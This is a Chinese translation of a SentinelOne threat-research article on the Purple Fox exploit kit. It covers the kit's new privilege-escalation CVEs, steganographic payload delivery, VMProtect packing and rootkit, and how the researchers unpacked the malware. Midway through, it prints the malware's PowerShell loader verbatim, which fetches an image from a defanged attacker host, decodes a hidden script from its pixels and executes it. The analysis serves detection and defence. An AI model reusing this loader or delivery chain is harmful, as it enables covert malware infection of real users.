Purple Fox攻擊流程中增加了新的CVE、隱寫術和虛擬化技術
Purple Fox屬于一種下載型木馬,能夠在感染目標計算機后下載其他惡意軟件,如加密貨幣挖礦惡意軟件。用戶一旦被感染,就將面臨各種各樣的威脅。
研究人員最近發現攻擊者利用Purple Fox攻擊工具包攻擊易受攻擊的Internet Explorer版本的次數激增。
調查顯示,Purple Fox反復嘗試通過公開可用的漏洞利用代碼,包括使用兩個最新的CVE-CVE-2020-1054和CVE-2019-0808。
此外,我們注意到他們的攻擊流程發生了其他變化,這些變化使他們可以采用隱寫術并通過代碼虛擬化技術覆蓋惡意代碼,從而更好地規避防火墻保護和某些檢測工具。
在最近幾年中,Purple Fox改進了其攻擊和傳播方法。它最初在2018年9月被發現,Purple Fox在2019年放棄使用NSIS(Nullsoft腳本可安裝系統)和Rig漏洞利用工具包,而是采用PowerShell來實現無文件執行。今年早些時候,ProofPoint詳細介紹了Purple Fox如何將CVE-2020-0674和CVE-2019-1458添加到其武器庫中。研究表明,Purple Fox已再次進行了迭代,添加了更多CVE以實現特權升級,并采用隱寫和虛擬化技術來避免檢測和妨礙安全人員分析。
有效載荷傳播流程
在我們觀察到的攻擊中,通過廣告或僅通過單擊錯誤的URL將受害者定向到惡意站點。攻擊者將他們的惡意軟件托管在speedjudgmentacceleration[.]com上,并針對Internet Explorer用戶發起攻擊。
該漏洞利用VBScript代碼作為命令行運行mshta.exe,然后運行PowerShell。 PowerShell代碼從http[:]//rawcdn[.]githack[.]cyou/up.php?key=1下載并在內存中執行下一階段的代碼。

下一階段將遵循與以前版本的Purple Fox類似的模式,首先檢查它是否以管理員權限運行。如果是這樣,它將直接從攻擊者的站點安裝key = 2的MSI軟件包。否則,它會嘗試幾種不同的“本地特權升級”漏洞來首先提升。
新特權升級漏洞
在最新版本的Purple Fox中,攻擊者改進了兩點。
過去,Purple Fox會下載使用圖像文件擴展名(update.jpg)的本地特權升級(local privilege escalation, LPE)二進制文件,但它實際上是一個常規的可執行文件。適當的防火墻規則或安全軟件可以很容易地檢測到這種技術是惡意的。
現在,新版本的漏洞利用工具包將下載實際的映像文件(key = 3和key = 4),并使用隱寫術將每個LPE嵌入映像中。下面是一個使用的圖像示例:
下載后,將其提取到內存中。以下代碼用于解碼和運行有效載荷:
- $uyxQcl8XomEdJUJd='sal a New-Object;Add-Type -A System.Drawing;$g=a System.Drawing.Bitmap((a Net.WebClient).OpenRead("http[:]//rawcdn[.]githack[.]cyou/up.php?key=3"));$o=a Byte[] 589824;(0..575)|%{foreach($x in(0..1023)){$p=$g.GetPixel($x,$_);$o[$_*1024+$x]=([math]::Floor(($p.B-band15)*16)-bor($p.G -band 15))}};IEX([System.Text.Encoding]::ASCII.GetString($o[0..589362]))'
- IEX ($uyxQcl8XomEdJUJd)
此外,現在正在利用兩個新的漏洞來幫助提升本地特權:CVE-2020-1054和CVE-2019-0808。兩者都是Win32k組件中的內核漏洞。 CVE-2020-1054于今年5月進行了修補。我們發現利用這些漏洞的攻擊者二進制文件分別在2020年8月11日和2020年9月10日進行了編譯。
該漏洞利用程序包含調試信息和大量信息字符串。例如,CVE-2020-1054上的調試路徑為:
- D:\Personal\Windows\Windows10\Desktop\CVE-2020-1054-master\CVE-2020-1054-master\x64\Release\CVE-2020-1054.pdb
從編譯時的文件夾名稱可以看出,該代碼來自Git存儲庫。我們能夠快速將漏洞利用追溯到以下公共存儲庫:CVE-2020-1054,CVE-2019-0808。
不幸的是,到目前為止,在野外還沒有尋找到更多具有類似特征的二進制文件。
值得注意的是,所有的腳本都檢查HKCU\Software\7-Zip下一個特定且一致的注冊表值“StayOnTop”,設置此值似乎使惡意軟件能夠確定有效載荷是否成功運行。因此,在計算機注冊表中找到該值就可以表示Purple Fox做出了哪些攻擊。
Rootkit有效載荷
PowerShell腳本和特權升級利用的目的最終是在計算機上安裝rootkit。如何釋放有效載荷和Rootkit組件
趨勢科技表示,早期版本的“紫狐貍”使用了msi.dll的MsiInstallProductA 函數來下載并執行其有效載荷——一個.msi文件,其中包含加密的shellcode以及32位和64位版本的有效載荷。
一旦執行,它將重新啟動計算機并使用PendingFileRenameOperations注冊表(負責存儲操作系統重新啟動時將重命名的文件的名稱)以重命名其組件。
在重新啟動計算機后,它將使用其Rootkit功能(隱藏其文件和注冊表項)創建一個掛起的svchost進程并注入一個DLL,然后創建一個具有Rootkit功能的驅動程序。
在執行有效載荷之前,它還會在注入的DLL中設置以下內容:驅動程序文件(dump_ {random hex} .sys)——負責Rootkit功能,主組件是一個DLL文件(Ms {random hex} App.dll)。
然而,與早期版本不同,新版本“紫狐貍”選擇了使用開源代碼來啟用其Rootkit組件,包括隱藏并保護其文件和注冊表項。同樣值得注意的是,新版本“紫狐貍”還會使用一個文件實用程序軟件來隱藏其DLL組件,這阻止了逆向工程或破解嘗試。
但是,鑒于技術迭代帶來的變化,我們想檢查有效載荷方面是否還有任何新的發展。
我們在新域中找到了兩個版本的惡意軟件,它們都是rootkit的MSI安裝程序,其中一個丟失了文件。
安裝過程大致相同,重啟后,我們仍然看到使用PendingFileRenameOperations將文件放置在system32目錄下。然而,在MSI包中的CustomAction表有vbscript代碼,運行以下內容:
有趣的是,這些命令直接來自微軟有關如何防御CVE-2020-0674漏洞(Internet Explorer RCE)的咨詢,該漏洞被Purple Fox使用來獲得初始訪問權限。我們推測保護新感染的計算機不受該漏洞的影響可能是為了阻止競爭對手。
從MSI軟件包中提取惡意軟件后,我們注意到有效載荷還具有一項重要的新功能,不過它現在受VMProtect保護。
從PE的分區表中可以輕松觀察到VMProtect的使用:

“.vmp%d” 部分中的入口點清楚地表明了VMProtect
由于采用多種技術來隱藏原始代碼并對其進行模糊處理,因此安全研究人員的逆向處理變得更加困難了。
解壓縮VMProtect
逆向VMProtected二進制文件時,有兩個主要障礙需要克服:打包數據和虛擬指令。
我們首先必須解壓縮二進制文件中的數據,為此,我們使用了強大的x64dbg并打開了文件。之后,我們在VirtualProtect函數的開始處放置一個斷點:
想要記錄對該函數的所有調用,就要在“Log Text”框中輸入:

VirtualProtect: lpAddress={a:[esp+4]}, dwSize={d:[esp+8]}, flNewProtect={x:[esp+C]} ;
運行它,直到它崩潰,給出如下輸出:

可以看到數據可能被解壓縮到虛擬地址0x401000,因此我們要監控該地址,直到將數據寫入該地址為止。
重新啟動程序后,我們再次在VirtualProtect上放置一個斷點,并使該斷點命中八次。然后,我們將EIP設置為該地址,并使用x64dbg的內置Scylla插件轉儲二進制文件并修復其導入:

這為我們提供了一個更小的,可調試的DLL文件,其中包含大量純文本字符串,以幫助我們調查惡意軟件。
DLL的代碼仍使用虛擬化的調用進行了模糊處理,但幸運的是,我們在字符串中找到了以下代碼:

這類似于之前報告的rootkit版本,后者只是他們下載并編譯的公共rootkit。根據這些信息,我們推斷出他們并沒有實質性地升級rootkit的功能。
總結
Purple Fox開發工具包正在積極升級迭代中,正如我們自2018年9月以來以及在我們的研究中再次看到的那樣,惡意軟件開發者正在試圖繞過Microsoft補丁程序,以便針對那些組織和安全團隊利用公開的利用代碼而未能及時修補的漏洞。這個新的變種還通過采用隱寫術來隱藏LPE二進制文件,并利用商業軟件來保護其代碼不被分析,從而提高了其逃避檢測的能力。
本文翻譯自:https://labs.sentinelone.com/purple-fox-ek-new-cves-steganography-and-virtualization-added-to-attack-flow/如若轉載,請注明原文地址。